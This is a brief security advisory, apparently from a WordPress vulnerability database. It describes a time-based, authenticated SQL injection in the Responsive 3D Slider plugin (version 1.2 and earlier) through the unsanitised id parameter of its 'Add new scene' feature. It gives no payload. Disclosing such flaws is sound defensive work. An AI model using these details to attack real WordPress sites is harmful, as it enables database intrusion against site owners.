WordPress Plugin Vulnerabilities

Responsive 3D Slider <= 1.2 - Authenticated SQL Injection

Description

The Add new scene functionality in the plugin uses an id parameter which is not sanitised, escaped or validated before being inserted to a SQL statement, leading to SQL injection. This is a time based SQLI and in the same function vulnerable parameter is passed twice so if we pass time as 5 seconds it takes 10 seconds to return since the query is ran twice.
